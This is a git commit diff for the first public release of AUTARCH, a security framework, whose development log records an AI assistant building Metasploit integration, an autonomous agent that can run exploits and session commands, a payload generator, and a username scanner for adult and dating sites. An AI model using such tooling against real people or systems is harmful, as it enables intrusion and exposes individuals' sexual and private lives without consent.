commit ffe47c51b552e0ef5f2559f69f90fc9d40bff31a Author: DigiJ Date: Sun Mar 1 03:57:32 2026 -0800 Initial public release — AUTARCH v1.0.0 Full security platform with web dashboard, 16 Flask blueprints, 26 modules, autonomous AI agent, WebUSB hardware support, and Archon Android companion app. Includes Hash Toolkit, debug console, anti-stalkerware shield, Metasploit/RouterSploit integration, WireGuard VPN, OSINT reconnaissance, and multi-backend LLM support. Co-Authored-By: Claude Opus 4.6 diff --git a/.config/amd_rx6700xt.conf b/.config/amd_rx6700xt.conf new file mode 100644 index 0000000..7c56191 --- /dev/null +++ b/.config/amd_rx6700xt.conf @@ -0,0 +1,46 @@ +# AUTARCH LLM Configuration Template +# Hardware: AMD Radeon RX 6700 XT (12GB VRAM) +# Optimized for: GPU inference with ROCm/HIP support +# +# This configuration is optimized for AMD GPUs using ROCm. +# The RX 6700 XT has 12GB VRAM, excellent for 7B-13B models. +# Requires ROCm drivers and PyTorch with ROCm support. + +[llama] +# GGUF Model Settings (llama.cpp) +# Note: llama.cpp requires HIP/ROCm build for AMD GPU support +# Build with: CMAKE_ARGS="-DLLAMA_HIPBLAS=on" pip install llama-cpp-python +model_path = +n_ctx = 8192 +n_threads = 8 +n_gpu_layers = -1 +temperature = 0.7 +top_p = 0.9 +top_k = 40 +repeat_penalty = 1.1 +max_tokens = 4096 +seed = -1 + +[transformers] +# SafeTensors Model Settings (HuggingFace) +# ROCm uses 'cuda' device identifier in PyTorch +model_path = +device = cuda +torch_dtype = float16 +load_in_8bit = false +load_in_4bit = false +trust_remote_code = false +max_tokens = 4096 +temperature = 0.7 +top_p = 0.9 +top_k = 40 +repetition_penalty = 1.1 + +# Notes: +# - 12GB VRAM allows running 13B models at float16 +# - For 33B+ models, enable load_in_4bit = true +# - ROCm support requires specific PyTorch version: +# pip install torch --index-url https://download.pytorch.org/whl/rocm5.6 +# - llama.cpp needs HIP build for GPU acceleration +# - If GPU not detected, falls back to CPU (check ROCm installation) +# - n_ctx = 8192 works well with 12GB VRAM diff --git a/.config/nvidia_4070_mobile.conf b/.config/nvidia_4070_mobile.conf new file mode 100644 index 0000000..0d79a9d --- /dev/null +++ b/.config/nvidia_4070_mobile.conf @@ -0,0 +1,41 @@ +# AUTARCH LLM Configuration Template +# Hardware: NVIDIA GeForce RTX 4070 Mobile (8GB VRAM) +# Optimized for: GPU inference with good VRAM management +# +# This configuration balances performance and memory usage for mobile RTX 4070. +# The 4070 Mobile has 8GB VRAM, suitable for 7B models at full precision +# or 13B models with quantization. + +[llama] +# GGUF Model Settings (llama.cpp) +model_path = +n_ctx = 8192 +n_threads = 8 +n_gpu_layers = -1 +temperature = 0.7 +top_p = 0.9 +top_k = 40 +repeat_penalty = 1.1 +max_tokens = 4096 +seed = -1 + +[transformers] +# SafeTensors Model Settings (HuggingFace) +model_path = +device = cuda +torch_dtype = float16 +load_in_8bit = false +load_in_4bit = false +trust_remote_code = false +max_tokens = 4096 +temperature = 0.7 +top_p = 0.9 +top_k = 40 +repetition_penalty = 1.1 + +# Notes: +# - n_gpu_layers = -1 offloads all layers to GPU +# - For 13B+ models, enable load_in_4bit = true +# - float16 is optimal for RTX 4070 +# - n_ctx = 8192 uses ~2GB VRAM overhead +# - Reduce n_ctx to 4096 if running out of VRAM diff --git a/.config/orangepi5plus_cpu.conf b/.config/orangepi5plus_cpu.conf new file mode 100644 index 0000000..b0f6a04 --- /dev/null +++ b/.config/orangepi5plus_cpu.conf @@ -0,0 +1,46 @@ +# AUTARCH LLM Configuration Template +# Hardware: Orange Pi 5 Plus (RK3588 SoC, 8-core ARM, 16GB RAM) +# Optimized for: CPU-only inference on ARM64 +# +# This configuration is optimized for the Orange Pi 5 Plus running +# CPU-only inference. The RK3588 has 4x Cortex-A76 + 4x Cortex-A55 cores. +# Best with quantized GGUF models (Q4_K_M or Q5_K_M). + +[llama] +# GGUF Model Settings (llama.cpp) +# Recommended: Use Q4_K_M or Q5_K_M quantized models +model_path = +n_ctx = 2048 +n_threads = 4 +n_gpu_layers = 0 +temperature = 0.7 +top_p = 0.9 +top_k = 40 +repeat_penalty = 1.1 +max_tokens = 1024 +seed = -1 + +[transformers] +# SafeTensors Model Settings (HuggingFace) +# Note: CPU inference is slow with transformers, GGUF recommended +model_path = +device = cpu +torch_dtype = float32 +load_in_8bit = false +load_in_4bit = false +trust_remote_code = false +max_tokens = 1024 +temperature = 0.7 +top_p = 0.9 +top_k = 40 +repetition_penalty = 1.1 + +# Notes: +# - n_threads = 4 uses only the fast A76 cores (better perf than all 8) +# - n_ctx = 2048 balances memory usage and capability +# - n_gpu_layers = 0 for pure CPU inference +# - Strongly recommend GGUF Q4_K_M models for best speed +# - 7B Q4 models use ~4GB RAM, leaving room for system +# - max_tokens = 1024 keeps generation times reasonable +# - For transformers: CPU with float32 is slow but works +# - Avoid 13B+ models unless heavily quantized diff --git a/.config/orangepi5plus_mali.conf b/.config/orangepi5plus_mali.conf new file mode 100644 index 0000000..32c3d56 --- /dev/null +++ b/.config/orangepi5plus_mali.conf @@ -0,0 +1,67 @@ +# AUTARCH LLM Configuration Template +# Hardware: Orange Pi 5 Plus with ARM Mali-G610 MP4 GPU +# Status: EXPERIMENTAL - Mali GPU support for LLMs is limited +# +# WARNING: This configuration is experimental! +# The Mali-G610 GPU has limited LLM support. Most frameworks +# fall back to CPU. This config attempts to leverage what GPU +# acceleration is available. + +[llama] +# GGUF Model Settings (llama.cpp) +# Note: llama.cpp OpenCL backend may provide some acceleration +# Build with: CMAKE_ARGS="-DLLAMA_CLBLAST=on" pip install llama-cpp-python +# Requires: libclblast-dev, opencl-headers, ocl-icd-opencl-dev +model_path = +n_ctx = 2048 +n_threads = 4 +n_gpu_layers = 8 +temperature = 0.7 +top_p = 0.9 +top_k = 40 +repeat_penalty = 1.1 +max_tokens = 1024 +seed = -1 + +[transformers] +# SafeTensors Model Settings (HuggingFace) +# Note: PyTorch has experimental Vulkan backend for mobile GPUs +# This is highly experimental and may not work +model_path = +device = cpu +torch_dtype = float32 +load_in_8bit = false +load_in_4bit = true +trust_remote_code = false +max_tokens = 1024 +temperature = 0.7 +top_p = 0.9 +top_k = 40 +repetition_penalty = 1.1 + +# EXPERIMENTAL NOTES: +# +# Mali-G610 GPU Support Status: +# - OpenCL: Partial support via CLBlast, may accelerate some layers +# - Vulkan: PyTorch vulkan backend is experimental +# - Direct Mali: No native support in major LLM frameworks +# +# To enable OpenCL acceleration for llama.cpp: +# 1. Install dependencies: +# sudo apt install libclblast-dev opencl-headers ocl-icd-opencl-dev +# 2. Install Mali OpenCL driver (if available for your distro) +# 3. Rebuild llama-cpp-python with CLBlast: +# CMAKE_ARGS="-DLLAMA_CLBLAST=on" pip install llama-cpp-python --force-reinstall +# +# n_gpu_layers = 8: Offloads only some layers (conservative) +# - Increase if stable, decrease if crashes +# - Set to 0 if OpenCL not working +# +# For transformers: +# - load_in_4bit = true reduces memory pressure +# - CPU inference is the reliable fallback +# +# Performance Expectations: +# - Best case: 20-30% speedup over pure CPU +# - Likely case: Similar to CPU or unstable +# - Use orangepi5plus_cpu.conf for stable operation diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..7e1a2fa --- /dev/null +++ b/.gitignore @@ -0,0 +1,78 @@ +# Python +__pycache__/ +*.py[cod] +*$py.class +*.so +*.egg-info/ +*.egg + +# Virtual environments +venv/ +.venv/ +env/ + +# IDE +.vscode/ +.idea/ +*.swp +*.swo +*~ + +# Data & databases (regenerated at runtime) +data/cve/*.db +data/sites/*.db +data/uploads/ +data/hardware/ + +# Large files +models/ +*.gguf +claude.bk +*.mtf + +# Results (user-generated) +results/ +dossiers/ + +# OSINT scan results +*_profiles.json + +# Secrets & config with credentials +.env +*.pem +*.key + +# Node +node_modules/ + +# Gradle +.gradle/ +gradle-*/ + +# Bundled tools (large binaries) +tools/ + +# Android SDK tools (bundled binaries) +android/ + +# Build artifacts +dist/ +build/ +build_temp/ +*.spec.bak + +# OS files +.DS_Store +Thumbs.db + +# Claude Code +.claude/ + +# Snoop data +snoop/ +data/sites/snoop_full.json + +# Custom user data (optional - users may want to track these) +# custom_adultsites.json +# custom_sites.inf +# custom_apis.json diff --git a/CLAUDE.md b/CLAUDE.md new file mode 100644 index 0000000..38a6e3e --- /dev/null +++ b/CLAUDE.md @@ -0,0 +1,9 @@ +# AUTARCH — Claude Code Instructions + +## Required Reading + +Before starting any task, read these files for project context, history, and current status: + +- **DEVLOG.md** — Development log with implementation details and decisions +- **devjournal.md** — Development journal with notes and progress tracking +- **master_plan.md** — Master plan with project goals and roadmap diff --git a/DEVLOG.md b/DEVLOG.md new file mode 100644 index 0000000..0bf675e --- /dev/null +++ b/DEVLOG.md @@ -0,0 +1,5375 @@ +# AUTARCH Development Log +## Project: darkHal Security Group - Project AUTARCH + +--- + +## Session 1 - 2026-01-14 + +### Initial Request + +**User Prompt:** +> Hello claude. Today we are building the framework for the darkHal Security Group's "Project AUTARCH". Right now all need to do is setup the frameworks main menu's and the LLM intagration using llamacpp and llama-cpp-python (the python packages are installed). the core c files are https://github.com/ggml-org/llama.cpp. The framework will be written in python and besides running the LLM and the agent its only other function is to load python modules that do the work. In other words, this application is just the front end. Lets start with the main menu. The main menu should have a ascii banner that says "AUTARCH" with a tagline that says "By darkHal and Setec Security Labs." On first launch the application auto runs the setup module (we need to create this as well). The setup module will setup the autarch_settings.conf. This module controls the llamacpp settings + +--- + +### Work Completed + +#### 1. Project Structure Created +``` +dh_framework/ +├── autarch.py # Main entry point +├── autarch_settings.conf # Configuration file (auto-generated) +├── core/ +│ ├── __init__.py +│ ├── banner.py # ASCII banner display +│ ├── config.py # Configuration handler +│ └── menu.py # Main menu system +└── modules/ + ├── __init__.py + └── setup.py # First-time setup wizard +``` + +#### 2. Components Implemented + +**core/banner.py** +- ASCII art banner for "AUTARCH" +- Color support using ANSI codes +- Tagline: "By darkHal and Setec Security Labs." +- Helper functions for display and screen clearing + +**core/config.py** +- Configuration handler for `autarch_settings.conf` +- Manages llama.cpp settings: + - model_path + - n_ctx (context size) + - n_threads + - n_gpu_layers + - temperature + - top_p + - top_k + - repeat_penalty + - max_tokens + - seed +- First-run detection +- Type-safe getters (get_int, get_float, get_bool) + +**core/menu.py** +- Main menu with options: + 1. Load Module + 2. List Modules + 3. Settings + 4. Run Setup + 0. Exit +- Dynamic module loading from `modules/` directory +- Module info display (name, description, author, version) +- Status display showing current model + +**modules/setup.py** +- Interactive first-time setup wizard +- Configures all llama.cpp parameters +- Model path validation +- Input validation with min/max bounds +- Saves configuration to `autarch_settings.conf` + +**autarch.py** +- Main entry point +- Auto-runs setup on first launch +- Launches main menu + +--- + +### Files Created + +| File | Lines | Purpose | +|------|-------|---------| +| core/__init__.py | 2 | Package init | +| modules/__init__.py | 2 | Package init | +| core/banner.py | 42 | ASCII banner | +| core/config.py | 137 | Config management | +| core/menu.py | 232 | Menu system | +| modules/setup.py | 234 | Setup wizard | +| autarch.py | 47 | Entry point | + +--- + +--- + +## Session 1 (Continued) - LLM Integration + +### User Request +> yes lets do the llm integration + +--- + +### Work Completed + +#### 3. LLM Integration Added + +**core/llm.py** - LLM Wrapper Class +- Wraps llama-cpp-python for model interaction +- Features: + - `load_model()` - Load GGUF models with config settings + - `unload_model()` - Free resources + - `generate()` - Text completion with streaming support + - `chat()` - Chat-style interaction with history + - `_build_chat_prompt()` - ChatML-style prompt formatting + - `clear_history()` / `get_history()` / `set_history()` - Conversation management + - `get_model_info()` - Model metadata +- Global instance via `get_llm()` +- Custom `LLMError` exception class + +**modules/chat.py** - Interactive Chat Module +- Full chat interface for the LLM +- Commands: + - `/help` - Show available commands + - `/clear` - Clear conversation history + - `/history` - Show conversation history + - `/info` - Show model information + - `/system ` - Set system prompt + - `/temp ` - Set temperature + - `/tokens ` - Set max tokens + - `/stream` - Toggle streaming mode + - `/exit` - Exit chat +- Streaming output support +- Automatic model loading +- Default system prompt for AUTARCH persona + +--- + +### Updated Project Structure +``` +dh_framework/ +├── autarch.py # Main entry point +├── autarch_settings.conf # Configuration file (auto-generated) +├── DEVLOG.md # Development log +├── core/ +│ ├── __init__.py +│ ├── banner.py # ASCII banner display +│ ├── config.py # Configuration handler +│ ├── llm.py # LLM wrapper (NEW) +│ └── menu.py # Main menu system +└── modules/ + ├── __init__.py + ├── chat.py # Chat interface (NEW) + └── setup.py # First-time setup wizard +``` + +--- + +### Files Added This Session + +| File | Lines | Purpose | +|------|-------|---------| +| core/llm.py | ~280 | LLM wrapper for llama-cpp-python | +| modules/chat.py | ~250 | Interactive chat interface | + +--- + +--- + +## Session 1 (Continued) - Agent System + +### User Request +> yes lets do the agent system + +--- + +### Work Completed + +#### 4. Agent System Implemented + +**core/tools.py** - Tool System +- `Tool` and `ToolParameter` dataclasses for tool definitions +- `ToolRegistry` class for managing available tools +- Built-in tools: + - `shell` - Execute shell commands with timeout + - `read_file` - Read file contents + - `write_file` - Write content to files + - `list_dir` - List directory contents + - `search_files` - Glob pattern file search + - `search_content` - Grep-style content search + - `task_complete` - Signal task completion + - `ask_user` - Request user input +- JSON schema generation for LLM tool descriptions +- Global registry via `get_tool_registry()` + +**core/agent.py** - Autonomous Agent +- `Agent` class implementing the autonomous loop +- `AgentState` enum: IDLE, THINKING, EXECUTING, WAITING_USER, COMPLETE, ERROR +- `AgentStep` dataclass for recording step history +- `AgentResult` dataclass for task results +- Features: + - Structured response parsing (THOUGHT/ACTION/PARAMS format) + - Tool execution with error handling + - User interaction via `ask_user` tool + - Step limit (default 20) to prevent infinite loops + - Callbacks for step completion and state changes + - ChatML-style prompt building +- System prompt instructs LLM on tool usage format + +**modules/agent.py** - Agent Interface Module +- Interactive task input loop +- Commands: + - `tools` - Show available tools + - `exit` - Return to main menu + - `help` - Show help +- Task execution with progress display +- Result summary with success/failure status +- Step count reporting + +--- + +### Updated Project Structure +``` +dh_framework/ +├── autarch.py # Main entry point +├── autarch_settings.conf # Configuration file (auto-generated) +├── DEVLOG.md # Development log +├── core/ +│ ├── __init__.py +│ ├── agent.py # Autonomous agent (NEW) +│ ├── banner.py # ASCII banner display +│ ├── config.py # Configuration handler +│ ├── llm.py # LLM wrapper +│ ├── menu.py # Main menu system +│ └── tools.py # Tool system (NEW) +└── modules/ + ├── __init__.py + ├── agent.py # Agent interface (NEW) + ├── chat.py # Chat interface + └── setup.py # First-time setup wizard +``` + +--- + +### Files Added This Session + +| File | Lines | Purpose | +|------|-------|---------| +| core/tools.py | ~290 | Tool definitions and registry | +| core/agent.py | ~320 | Autonomous agent loop | +| modules/agent.py | ~175 | Agent user interface | + +--- + +### Agent Response Format +The agent uses a structured format: +``` +THOUGHT: [reasoning about what to do] +ACTION: [tool_name] +PARAMS: {"param1": "value1"} +``` + +Observations are fed back as: +``` +OBSERVATION: [tool output] +``` + +--- + +--- + +## Session 1 (Continued) - Metasploit Integration & Menu Overhaul + +### User Request +> lets first add a few other features. Lets add metasploit compatability so the framework can use metasploit modules, and then add the main menu: 1) Defense 2) Offense 3) Counter 4) Analyze 5) OSINT 6) Simulate 99) Settings 98) Exit + +--- + +### Work Completed + +#### 5. Metasploit Integration + +**core/msf.py** - Metasploit RPC Client +- `MetasploitRPC` class for MSF RPC communication +- Uses msgpack for binary protocol +- Features: + - `connect()` / `disconnect()` - Authentication + - `list_modules()` / `search_modules()` - Module discovery + - `get_module_info()` / `get_module_options()` - Module details + - `execute_module()` - Run exploits/auxiliary modules + - `list_jobs()` / `stop_job()` - Job management + - `list_sessions()` - Active session listing + - `session_shell_read()` / `session_shell_write()` - Session interaction + - `run_console_command()` - Direct console access +- `MSFManager` class for settings management +- Configuration stored in `autarch_settings.conf` [msf] section + +**Agent MSF Tools Added to core/tools.py:** +- `msf_connect` - Connect to MSF RPC +- `msf_search` - Search for modules +- `msf_module_info` - Get module details +- `msf_module_options` - Get module options +- `msf_execute` - Execute modules +- `msf_sessions` - List active sessions +- `msf_session_command` - Run commands in sessions +- `msf_console` - Direct console commands + +#### 6. Main Menu Overhaul + +**New Menu Structure:** +``` + Main Menu + ────────────────────────────────────────────────── + [1] Defense - Defensive security tools + [2] Offense - Penetration testing + [3] Counter - Counter-intelligence + [4] Analyze - Analysis & forensics + [5] OSINT - Open source intelligence + [6] Simulate - Attack simulation + + [99] Settings + [98] Exit +``` + +**Category System:** +- Modules now have `CATEGORY` attribute +- Categories: defense, offense, counter, analyze, osint, simulate, core +- Category submenus show only relevant modules +- Color-coded by category + +**Settings Menu:** +- LLM Settings +- Metasploit Settings (with connection test) +- View All Settings +- Run Setup Wizard + +**Status Line:** +- Shows current model name +- Shows MSF connection status + +--- + +### Updated Project Structure +``` +dh_framework/ +├── autarch.py # Main entry point +├── autarch_settings.conf # Configuration file +├── DEVLOG.md # Development log +├── core/ +│ ├── __init__.py +│ ├── agent.py # Autonomous agent +│ ├── banner.py # ASCII banner display +│ ├── config.py # Configuration handler +│ ├── llm.py # LLM wrapper +│ ├── menu.py # Main menu (UPDATED) +│ ├── msf.py # Metasploit integration (NEW) +│ └── tools.py # Tool system (UPDATED) +└── modules/ + ├── __init__.py + ├── agent.py # Agent interface (CATEGORY: core) + ├── chat.py # Chat interface (CATEGORY: core) + └── setup.py # First-time setup wizard +``` + +--- + +### Files Added/Modified This Session + +| File | Lines | Purpose | +|------|-------|---------| +| core/msf.py | ~380 | Metasploit RPC integration | +| core/menu.py | ~480 | Updated with categories | +| core/tools.py | ~500 | Added MSF tools | + +--- + +### Module Categories + +| Category | Description | Color | +|----------|-------------|-------| +| defense | Defensive security tools | Blue | +| offense | Penetration testing | Red | +| counter | Counter-intelligence | Magenta | +| analyze | Analysis & forensics | Cyan | +| osint | Open source intelligence | Green | +| simulate | Attack simulation | Yellow | +| core | Core framework modules | White | + +--- + +### MSF Configuration (autarch_settings.conf) +```ini +[msf] +host = 127.0.0.1 +port = 55553 +username = msf +password = +ssl = true +``` + +--- + +--- + +## Session 1 (Continued) - Simplified MSF Interface + +### User Request +> lets simplify how metasploit modules can be used + +--- + +### Work Completed + +#### 7. Simplified Metasploit Module + +**modules/msf.py** - User-Friendly MSF Interface (CATEGORY: offense) + +Menu-driven interface: +``` + Metasploit Framework + ────────────────────────────────────────────────── + Status: Connected/Disconnected + Module: current/module (if selected) + + [1] Search Modules + [2] Use Module + [3] Show Options + [4] Set Option + [5] Run Module + + [6] Sessions + [7] Jobs + + [8] Console Command + [9] Quick Scan (auxiliary/scanner) + + [0] Back to Main Menu +``` + +**Features:** +- **Search Modules** - Search by keyword, grouped results by type +- **Use Module** - Select by full path OR search and pick from list +- **Show Options** - Display required/optional with current values +- **Set Option** - Set individual options (RHOSTS, LHOST, etc.) +- **Run Module** - Execute with confirmation +- **Sessions** - List and interact with active sessions +- **Jobs** - View and kill running jobs +- **Console Command** - Direct MSF console access +- **Quick Scan** - Pre-configured scanners: + - TCP Port Scanner + - SMB Version Scanner + - SSH Version Scanner + - HTTP Version Scanner + - FTP Version Scanner + - MS17-010 (EternalBlue) Check + +**Workflow Example:** +``` +1. Select "Search Modules" → search "eternalblue" +2. Select "Use Module" → pick from results +3. Select "Set Option" → set RHOSTS=192.168.1.100 +4. Select "Show Options" → verify configuration +5. Select "Run Module" → execute exploit +6. Select "Sessions" → interact with shell +``` + +--- + +### Updated Project Structure +``` +dh_framework/ +├── autarch.py +├── autarch_settings.conf +├── DEVLOG.md +├── core/ +│ ├── agent.py +│ ├── banner.py +│ ├── config.py +│ ├── llm.py +│ ├── menu.py +│ ├── msf.py +│ └── tools.py +└── modules/ + ├── __init__.py + ├── agent.py # CATEGORY: core + ├── chat.py # CATEGORY: core + ├── msf.py # CATEGORY: offense (NEW) + └── setup.py +``` + +--- + +### Files Added This Session + +| File | Lines | Purpose | +|------|-------|---------| +| modules/msf.py | ~420 | Simplified MSF interface | + +--- + +--- + +## Session 1 (Continued) - Category Modules + +### User Request +> lets add modules for the other categories + +--- + +### Work Completed + +#### 8. Category Modules Added + +**modules/defender.py** - Defense Module (CATEGORY: defense) +- Full Security Audit +- Firewall Check (iptables/ufw/firewalld) +- SSH Hardening Check +- Open Ports Scan +- User Security Check (UID 0, empty passwords) +- File Permissions Check +- Service Audit +- Fail2Ban/SELinux/AppArmor detection +- Security score calculation + +**modules/counter.py** - Counter-Intelligence Module (CATEGORY: counter) +- Full Threat Scan +- Suspicious Process Detection (known malware, hidden processes) +- Network Analysis (suspicious ports, C2 connections) +- Login Anomalies (brute force detection, failed logins) +- File Integrity Monitoring (critical file changes, SUID binaries) +- Scheduled Task Audit (cron job analysis) +- Rootkit Detection (hidden files, kernel modules) + +**modules/analyze.py** - Forensics Module (CATEGORY: analyze) +- File Analysis (metadata, hashes, type detection) +- String Extraction (URLs, IPs, emails, paths) +- Hash Lookup (VirusTotal/Hybrid Analysis links) +- Log Analysis (IP extraction, error patterns) +- Hex Dump viewer +- File Comparison + +**modules/recon.py** - OSINT Module (CATEGORY: osint) +- Domain Reconnaissance (DNS, WHOIS, subdomains via crt.sh) +- IP Address Lookup (reverse DNS, geolocation, quick port scan) +- Email Harvester +- Subdomain Enumeration (certificate transparency + brute force) +- Technology Detection (server, CMS, frontend frameworks) + +**modules/simulate.py** - Attack Simulation Module (CATEGORY: simulate) +- Password Audit (strength analysis, hash generation) +- Port Scanner (TCP scan with service detection) +- Banner Grabber +- Payload Generator (XSS, SQLi, Command Injection, Path Traversal, SSTI) +- Network Stress Test (controlled) + +--- + +### Updated Project Structure +``` +dh_framework/ +├── autarch.py +├── autarch_settings.conf +├── DEVLOG.md +├── core/ +│ ├── __init__.py +│ ├── agent.py +│ ├── banner.py +│ ├── config.py +│ ├── llm.py +│ ├── menu.py +│ ├── msf.py +│ └── tools.py +└── modules/ + ├── __init__.py + ├── agent.py # CATEGORY: core + ├── analyze.py # CATEGORY: analyze (NEW) + ├── chat.py # CATEGORY: core + ├── counter.py # CATEGORY: counter (NEW) + ├── defender.py # CATEGORY: defense (NEW) + ├── msf.py # CATEGORY: offense + ├── recon.py # CATEGORY: osint (NEW) + ├── setup.py + └── simulate.py # CATEGORY: simulate (NEW) +``` + +--- + +### Files Added This Session + +| File | Lines | Purpose | +|------|-------|---------| +| modules/defender.py | ~280 | System hardening checks | +| modules/counter.py | ~350 | Threat detection | +| modules/analyze.py | ~320 | Forensics tools | +| modules/recon.py | ~330 | OSINT reconnaissance | +| modules/simulate.py | ~310 | Attack simulation | + +--- + +### Module Summary by Category + +| Category | Module | Features | +|----------|--------|----------| +| Defense | defender | Security audit, firewall, SSH, permissions | +| Offense | msf | Metasploit interface, exploits, sessions | +| Counter | counter | Threat detection, rootkit checks, anomalies | +| Analyze | analyze | File forensics, strings, hashes, logs | +| OSINT | recon | Email/username/phone/domain/IP lookup | +| Simulate | simulate | Port scan, password audit, payloads | +| Core | agent | Autonomous AI agent | +| Core | chat | Interactive LLM chat | + +--- + +## Session 1 (Continued) - Expanded OSINT + +### User Request +> lets add modules for OSINT as well as add social-analyzer intagration. For OSINT lets add the sub catagories for email, username, phone number + +--- + +### Work Completed + +#### 9. Expanded OSINT Module + +**modules/recon.py** - Enhanced to v2.0 + +New subcategorized menu: +``` + OSINT & Reconnaissance + social-analyzer: Available/Not installed + ────────────────────────────────────────────────── + + Email + [1] Email Lookup + [2] Email Permutator + + Username + [3] Username Lookup + [4] Social Analyzer + + Phone + [5] Phone Number Lookup + + Domain/IP + [6] Domain Recon + [7] IP Address Lookup + [8] Subdomain Enum + [9] Tech Detection + + [0] Back +``` + +**Email OSINT Features:** +- Email format analysis +- MX record verification +- Breach check resources (HaveIBeenPwned, DeHashed, IntelX) +- Disposable email detection +- Gravatar lookup +- Email permutation generator (first.last, flast, etc.) + +**Username OSINT Features:** +- Multi-platform check (17+ platforms) +- Twitter/X, Instagram, Facebook, GitHub, Reddit, LinkedIn +- TikTok, YouTube, Pinterest, Twitch, Steam, Spotify +- Medium, Dev.to, HackerNews, Keybase, Telegram +- HTTP status verification +- social-analyzer integration for deep scanning + +**Phone OSINT Features:** +- Country code detection (12 countries) +- Carrier lookup resources (NumVerify, Twilio) +- Search resources (TrueCaller, Sync.me, SpyDialer, WhitePages) +- Messaging app check (WhatsApp, Telegram, Signal) +- Spam/scam database check + +**social-analyzer Integration:** +- Auto-detection of installation +- Deep profile scanning across 300+ sites +- JSON output parsing +- Profile link extraction + +--- + +### Updated recon.py Stats + +| Feature | Lines | Description | +|---------|-------|-------------| +| Email OSINT | ~90 | Lookup, permutator | +| Username OSINT | ~100 | Platform check, social-analyzer | +| Phone OSINT | ~60 | Number analysis, resources | +| Domain/IP | ~200 | DNS, WHOIS, subdomains, tech | +| **Total** | ~590 | Expanded from ~330 | + +--- + +### Notes +- Framework uses llama-cpp-python for LLM integration (package pre-installed) +- Modules can define DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes +- All modules must have a `run()` function entry point +- Chat uses ChatML format (`<|im_start|>` / `<|im_end|>`) for compatibility +- Agent uses lower temperature (0.3) for more focused tool selection +- MSF RPC requires msfrpcd running: `msfrpcd -P password -S` +- social-analyzer: `pip install social-analyzer` + +--- + +--- + +## Session 1 (Continued) - Adult Site Username Scanner + +### User Request +> i am not doing the preditor tool anymore. Just a username OSINT tool like social-analyzer + +--- + +### Work Completed + +#### 10. Adult Site Username Scanner + +**modules/adultscan.py** - Adult Site OSINT (CATEGORY: osint) + +Username scanner for adult-oriented platforms with parallel scanning: + +``` + Adult Site Scanner + Username OSINT for adult platforms + Sites in database: 50+ + ────────────────────────────────────────────────── + + [1] Full Scan (all categories) + [2] Fanfiction & Story Sites + [3] Art & Creative Sites + [4] Video & Streaming Sites + [5] Forums & Communities + [6] Dating & Social Sites + [7] Gaming Related Sites + [8] Custom Category Selection + + [9] List All Sites + + [0] Back +``` + +**Site Categories:** + +| Category | Sites | Examples | +|----------|-------|----------| +| fanfiction | 9 | Archive of Our Own, FanFiction.net, FimFiction, Wattpad, Literotica, Hentai Foundry | +| art | 10 | DeviantArt, Fur Affinity, Newgrounds, Pixiv, Rule34, e621, Tumblr | +| video | 8 | Pornhub, XVideos, xHamster, Chaturbate, OnlyFans, Fansly, ManyVids | +| forums | 6 | Reddit, F-List, FetLife, Kink.com, BDSMLR, CollarSpace | +| dating | 5 | AdultFriendFinder, Ashley Madison, Grindr, Scruff, Recon | +| gaming | 4 | F95zone, LoversLab, ULMF, Nutaku | + +**Features:** +- Parallel scanning with ThreadPoolExecutor (10 workers) +- Two detection methods: + - `status` - HTTP status code check (200/301/302 = found, 404 = not found) + - `content` - Page content analysis for sites with custom error pages +- Progress indicator during scan +- Category selection (single, multiple, or all) +- Results export to file +- Color-coded output (green = found, yellow = possible/redirect) + +**Detection Flow:** +```python +def check_site(self, site_info, username): + # 1. Format URL with username + url = url_template.format(username) + + # 2. Use curl to get HTTP status + cmd = f"curl -sI -o /dev/null -w '%{{http_code}}' -L --max-time {timeout} '{url}'" + + # 3. Interpret based on method + if method == 'status': + # 200 = found, 404 = not found + else: + # Content-based: 200 = possible match +``` + +--- + +### Updated Project Structure +``` +dh_framework/ +├── autarch.py +├── autarch_settings.conf +├── DEVLOG.md +├── core/ +│ ├── __init__.py +│ ├── agent.py +│ ├── banner.py +│ ├── config.py +│ ├── llm.py +│ ├── menu.py +│ ├── msf.py +│ └── tools.py +└── modules/ + ├── __init__.py + ├── adultscan.py # CATEGORY: osint (NEW) + ├── agent.py # CATEGORY: core + ├── analyze.py # CATEGORY: analyze + ├── chat.py # CATEGORY: core + ├── counter.py # CATEGORY: counter + ├── defender.py # CATEGORY: defense + ├── msf.py # CATEGORY: offense + ├── recon.py # CATEGORY: osint + ├── setup.py + └── simulate.py # CATEGORY: simulate +``` + +--- + +### Files Added This Session + +| File | Lines | Purpose | +|------|-------|---------| +| modules/adultscan.py | ~365 | Adult site username scanner | + +--- + +### OSINT Module Summary + +| Module | Purpose | Features | +|--------|---------|----------| +| recon.py | General OSINT | Email, username (mainstream), phone, domain, IP | +| adultscan.py | Adult sites | 50+ adult/fanfiction/art platforms | + +--- + +### Notes +- Scanner respects site rate limits via 10-second timeout per request +- Uses curl for HTTP requests (more reliable than Python requests for some sites) +- Some sites use content-based detection due to custom 404 pages +- Export format: plain text with site names and URLs + +--- + +--- + +## Session 1 (Continued) - Custom Site Management + +### User Request +> for the Adult Site Scanner Module, lets add two options, Manually add website to the list with the default username pattern such as if i wanted to add fakeadult.com to the list i would add fakeadult.com/user/* where the star gets replaces by the username + +--- + +### Work Completed + +#### 11. Custom Site Management for Adult Scanner + +**modules/adultscan.py** - Updated to v1.1 + +Added custom site management features: + +**New Menu Structure:** +``` + Adult Site Scanner + Sites in database: 50+ (X custom) + ────────────────────────────────────────────────── + + Scan Categories: + [1] Full Scan (all categories) + [2] Fanfiction & Story Sites + [3] Art & Creative Sites + [4] Video & Streaming Sites + [5] Forums & Communities + [6] Dating & Social Sites + [7] Gaming Related Sites + [8] Custom Sites Only + [9] Custom Category Selection + + Site Management: + [A] Add Custom Site + [M] Manage Custom Sites + [L] List All Sites + + [0] Back +``` + +**Add Custom Site (`[A]`):** +- Prompts for site name +- URL pattern using `*` as username placeholder + - Example: `https://example.com/user/*` + - Example: `example.com/profile?name=*` +- Auto-adds `https://` if no protocol specified +- Detection method selection: + - Status code (default) - checks HTTP response + - Content - for sites with custom 404 pages +- Saves to `custom_adultsites.json` + +**Manage Custom Sites (`[M]`):** +- Lists all custom sites with URL patterns and methods +- Add new sites +- Remove existing sites by number + +**Custom Sites Only (`[8]`):** +- Scan only user-added custom sites + +**Storage:** +- Custom sites stored in `custom_adultsites.json` in framework root +- JSON format: `{"sites": [["name", "url_template", "method"], ...]}` +- Persists between sessions + +**Example Usage:** +``` +Site name: FakeAdult +URL pattern (use * for username): fakeadult.com/user/* +Detection Method: 